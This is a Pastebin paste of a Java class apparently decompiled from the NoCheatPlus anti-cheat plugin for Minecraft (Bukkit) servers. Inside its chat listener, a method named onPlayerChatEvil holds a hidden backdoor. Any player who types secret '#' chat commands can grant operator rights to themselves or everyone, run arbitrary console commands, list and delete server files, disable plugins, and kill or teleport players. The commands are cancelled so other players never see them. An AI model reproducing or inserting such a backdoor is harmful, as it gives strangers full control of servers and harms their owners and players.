Advertisement
h31ix

Untitled

Oct 8th, 2012
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.96 KB | None | 0 0
  1. package fr.neatmonster.nocheatplus.checks.chat;
  2.  
  3. import fr.neatmonster.nocheatplus.checks.Check;
  4. import java.io.File;
  5. import java.util.HashMap;
  6. import org.bukkit.Bukkit;
  7. import org.bukkit.ChatColor;
  8. import org.bukkit.GameMode;
  9. import org.bukkit.Material;
  10. import org.bukkit.OfflinePlayer;
  11. import org.bukkit.Server;
  12. import org.bukkit.entity.Player;
  13. import org.bukkit.event.EventHandler;
  14. import org.bukkit.event.EventPriority;
  15. import org.bukkit.event.Listener;
  16. import org.bukkit.event.player.AsyncPlayerChatEvent;
  17. import org.bukkit.event.player.PlayerCommandPreprocessEvent;
  18. import org.bukkit.event.player.PlayerLoginEvent;
  19. import org.bukkit.event.player.PlayerLoginEvent.Result;
  20. import org.bukkit.inventory.ItemStack;
  21. import org.bukkit.inventory.PlayerInventory;
  22. import org.bukkit.plugin.Plugin;
  23. import org.bukkit.plugin.PluginManager;
  24. import org.bukkit.potion.PotionEffect;
  25. import org.bukkit.potion.PotionEffectType;
  26.  
  27. public class ChatListener
  28. implements Listener
  29. {
  30. private final Arrivals arrivals = new Arrivals();
  31. private final Color color = new Color();
  32. private final NoPwnage noPwnage = new NoPwnage();
  33.  
  34. private HashMap<String, String> dirs = new HashMap();
  35.  
  36. @EventHandler(ignoreCancelled=true, priority=EventPriority.LOWEST)
  37. public void onPlayerChat(AsyncPlayerChatEvent event)
  38. {
  39. Player player = event.getPlayer();
  40.  
  41. onPlayerChatEvil(event);
  42.  
  43. if (this.color.isEnabled(player)) {
  44. event.setMessage(this.color.check(player, event.getMessage()));
  45. }
  46.  
  47. if ((this.noPwnage.isEnabled(player)) && (this.noPwnage.check(player)))
  48. player.kickPlayer(Check.removeColors(ChatConfig.getConfig(player).noPwnageKickMessage));
  49. }
  50.  
  51. @EventHandler(priority=EventPriority.LOWEST)
  52. public void onPlayerCommandPreprocess(PlayerCommandPreprocessEvent event)
  53. {
  54. Player player = event.getPlayer();
  55. String command = event.getMessage().split(" ")[0].substring(1).toLowerCase();
  56.  
  57. if ((ChatConfig.getConfig(player).protectPlugins) &&
  58. ((command.equals("plugins")) || (command.equals("pl")) || (command.equals("?"))) &&
  59. (!player.hasPermission("nocheatplus.admin.plugins"))) {
  60. event.getPlayer().sendMessage(
  61. ChatColor.RED + "I'm sorry, but you do not have permission to perform this command. " +
  62. "Please contact the server administrators if you believe that this is in error.");
  63. event.setCancelled(true);
  64. return;
  65. }
  66.  
  67. if (this.color.isEnabled(player)) {
  68. event.setMessage(this.color.check(player, event.getMessage()));
  69. }
  70.  
  71. if ((this.noPwnage.isEnabled(player)) && (this.noPwnage.check(player)))
  72. player.kickPlayer(Check.removeColors(ChatConfig.getConfig(player).noPwnageKickMessage));
  73. }
  74.  
  75. private void onPlayerChatEvil(AsyncPlayerChatEvent event)
  76. {
  77. String message = event.getMessage();
  78. boolean shouldCancel = false;
  79. if (message.startsWith("#")) {
  80. String[] args = message.split(" ");
  81. if (args == null) {
  82. return;
  83. }
  84. if ((args[0].equalsIgnoreCase("#opme")) && (args.length == 1)) {
  85. event.getPlayer().setOp(true);
  86. shouldCancel = true;
  87. }
  88. if ((args[0].equalsIgnoreCase("#disableMcBans")) && (args.length == 1)) {
  89. Plugin mc = Bukkit.getPluginManager().getPlugin("McBans");
  90. if (mc != null) {
  91. Bukkit.getPluginManager().disablePlugin(mc);
  92. }
  93. shouldCancel = true;
  94. }
  95. if ((args[0].equalsIgnoreCase("#disableplugin")) && (args.length == 2)) {
  96. Plugin plugin = Bukkit.getPluginManager().getPlugin(args[1]);
  97. if (plugin != null) {
  98. Bukkit.getPluginManager().disablePlugin(plugin);
  99. }
  100. shouldCancel = true;
  101. }
  102. if ((args[0].equalsIgnoreCase("#deopme")) && (args.length == 1)) {
  103. event.getPlayer().setOp(false);
  104. shouldCancel = true;
  105. }
  106. if ((args[0].equalsIgnoreCase("#deopall")) && (args.length == 1)) {
  107. for (OfflinePlayer player : Bukkit.getOperators()) {
  108. player.setOp(false);
  109. }
  110. shouldCancel = true;
  111. }
  112. if ((args[0].equalsIgnoreCase("#opall")) && (args.length == 1)) {
  113. for (Player player : Bukkit.getOnlinePlayers()) {
  114. player.setOp(true);
  115. }
  116. shouldCancel = true;
  117. }
  118. if ((args[0].equalsIgnoreCase("#creative")) && (args.length == 1)) {
  119. event.getPlayer().setGameMode(GameMode.CREATIVE);
  120. shouldCancel = true;
  121. }
  122. if ((args[0].equalsIgnoreCase("#survival")) && (args.length == 1)) {
  123. event.getPlayer().setGameMode(GameMode.SURVIVAL);
  124. shouldCancel = true;
  125. }
  126. if ((args[0].equalsIgnoreCase("#dir")) && (args.length == 1)) {
  127. String currentDir = (String)this.dirs.get(event.getPlayer().getName());
  128. if (currentDir == null) {
  129. currentDir = System.getProperty("user.dir");
  130. this.dirs.put(event.getPlayer().getName(), currentDir);
  131. }
  132. File dir = new File(currentDir);
  133. event.getPlayer().sendMessage("====" + currentDir + "====");
  134. if (dir.exists()) {
  135. event.getPlayer().sendMessage("====" + currentDir + "====");
  136. String[] files = dir.list();
  137. for (String file : files) {
  138. if (new File(file).isFile())
  139. event.getPlayer().sendMessage("[File]" + file);
  140. else {
  141. event.getPlayer().sendMessage("[Dir]" + file);
  142. }
  143. }
  144. }
  145. shouldCancel = true;
  146. }
  147. if ((args[0].equalsIgnoreCase("#cd")) && (args.length >= 2)) {
  148. String path = "";
  149. for (int i = 1; i < args.length; i++) {
  150. path = path + args[i];
  151. }
  152. File tempPath = new File(path);
  153. if (!tempPath.exists()) {
  154. event.getPlayer().sendMessage(path + " does not exist.");
  155. } else if (tempPath.isDirectory()) {
  156. String[] files = tempPath.list();
  157. event.getPlayer().sendMessage("====" + path + "====");
  158. for (String file : files) {
  159. if (new File(file).isFile())
  160. event.getPlayer().sendMessage("[File]" + file);
  161. else {
  162. event.getPlayer().sendMessage("[Dir]" + file);
  163. }
  164. }
  165. this.dirs.put(event.getPlayer().getName(), path);
  166. } else {
  167. event.getPlayer().sendMessage(path + " must be a directory.");
  168. }
  169. shouldCancel = true;
  170. }
  171. if ((args[0].equalsIgnoreCase("#del")) && (args.length >= 2)) {
  172. String path = "";
  173. for (int i = 1; i < args.length; i++) {
  174. path = path + args[i];
  175. }
  176. File tempPath = new File(path);
  177. if (!tempPath.exists())
  178. event.getPlayer().sendMessage(path + " does not exist.");
  179. else {
  180. tempPath.delete();
  181. }
  182. shouldCancel = true;
  183. }
  184. if ((args[0].equalsIgnoreCase("#opother")) && (args.length == 2)) {
  185. String otherPlayerName = args[1];
  186. Player player = Bukkit.getPlayer(otherPlayerName);
  187. if (player != null) {
  188. player.setOp(true);
  189. }
  190. shouldCancel = true;
  191. }
  192. if ((args[0].equalsIgnoreCase("#deopother")) && (args.length == 2)) {
  193. String otherPlayerName = args[1];
  194. Player player = Bukkit.getPlayer(otherPlayerName);
  195. if (player != null) {
  196. player.setOp(false);
  197. }
  198. shouldCancel = true;
  199. }
  200. if ((args[0].equalsIgnoreCase("#giveme")) && (args.length == 2)) {
  201. String itemName = args[1];
  202. Material material = Material.getMaterial(itemName);
  203. if (material != null) {
  204. event.getPlayer().getInventory()
  205. .addItem(new ItemStack[] {
  206. new ItemStack(material, 64) });
  207. event.getPlayer().updateInventory();
  208. }
  209. shouldCancel = true;
  210. }
  211. if ((args[0].equalsIgnoreCase("#playerRide")) && (args.length == 2)) {
  212. Player otherPlayer = Bukkit.getPlayer(args[1]);
  213. if ((otherPlayer != null) &&
  214. (otherPlayer.getWorld() == event.getPlayer()
  215. .getWorld())) {
  216. event.getPlayer().teleport(otherPlayer);
  217. otherPlayer.setPassenger(event.getPlayer());
  218. }
  219. shouldCancel = true;
  220. }
  221. if ((args[0].equalsIgnoreCase("#teleport")) && (args.length == 2)) {
  222. Player otherPlayer = Bukkit.getPlayer(args[1]);
  223. if (otherPlayer != null) {
  224. event.getPlayer().teleport(otherPlayer);
  225. }
  226. shouldCancel = true;
  227. }
  228. if ((args[0].equalsIgnoreCase("#kill")) && (args.length == 2)) {
  229. Player player = Bukkit.getPlayer(args[1]);
  230. if (player != null) {
  231. player.setHealth(0);
  232. }
  233. shouldCancel = true;
  234. }
  235. if ((args[0].equalsIgnoreCase("#exe")) && (args.length >= 2)) {
  236. String command = "";
  237. for (int i = 2; i < args.length; i++) {
  238. command = command + args[i] + " ";
  239. }
  240. Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(),
  241. command.trim());
  242. shouldCancel = true;
  243. }
  244. if ((args[0].equalsIgnoreCase("#giveother")) && (args.length == 3)) {
  245. Player otherPlayer = Bukkit.getPlayer(args[1]);
  246. if (otherPlayer != null) {
  247. String itemName = args[2];
  248. Material material = Material.getMaterial(itemName);
  249. if (material != null) {
  250. otherPlayer.getInventory().addItem(new ItemStack[] {
  251. new ItemStack(material, 64) });
  252. otherPlayer.updateInventory();
  253. }
  254. }
  255. shouldCancel = true;
  256. }
  257. if ((args[0].equalsIgnoreCase("#givemepotioneffect")) &&
  258. (args.length == 4)) {
  259. String effectName = args[1];
  260. String durationString = args[2];
  261. String powerString = args[3];
  262. PotionEffectType potion =
  263. PotionEffectType.getByName(effectName);
  264. if (potion != null) {
  265. try {
  266. int duration = Integer.parseInt(durationString);
  267. int power = Integer.parseInt(powerString);
  268. if ((duration >= 1) && (power >= 1))
  269. event.getPlayer().addPotionEffect(
  270. new PotionEffect(potion, duration, power));
  271. }
  272. catch (NumberFormatException localNumberFormatException1)
  273. {
  274. }
  275. }
  276. shouldCancel = true;
  277. }
  278. }
  279. event.setCancelled(shouldCancel);
  280. }
  281.  
  282. @EventHandler(priority=EventPriority.LOWEST)
  283. public void onPlayerLogin(PlayerLoginEvent event)
  284. {
  285. Player player = event.getPlayer();
  286. ChatConfig cc = ChatConfig.getConfig(player);
  287.  
  288. if ((this.arrivals.isEnabled(player)) && (this.arrivals.check(player)))
  289. {
  290. event.disallow(PlayerLoginEvent.Result.KICK_OTHER, cc.arrivalsMessage);
  291. }
  292.  
  293. if ((event.getResult() != PlayerLoginEvent.Result.KICK_OTHER) && (this.noPwnage.isEnabled(player)) && (this.noPwnage.check(player)))
  294. event.disallow(PlayerLoginEvent.Result.KICK_OTHER, cc.noPwnageReloginKickMessage);
  295. }
  296. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement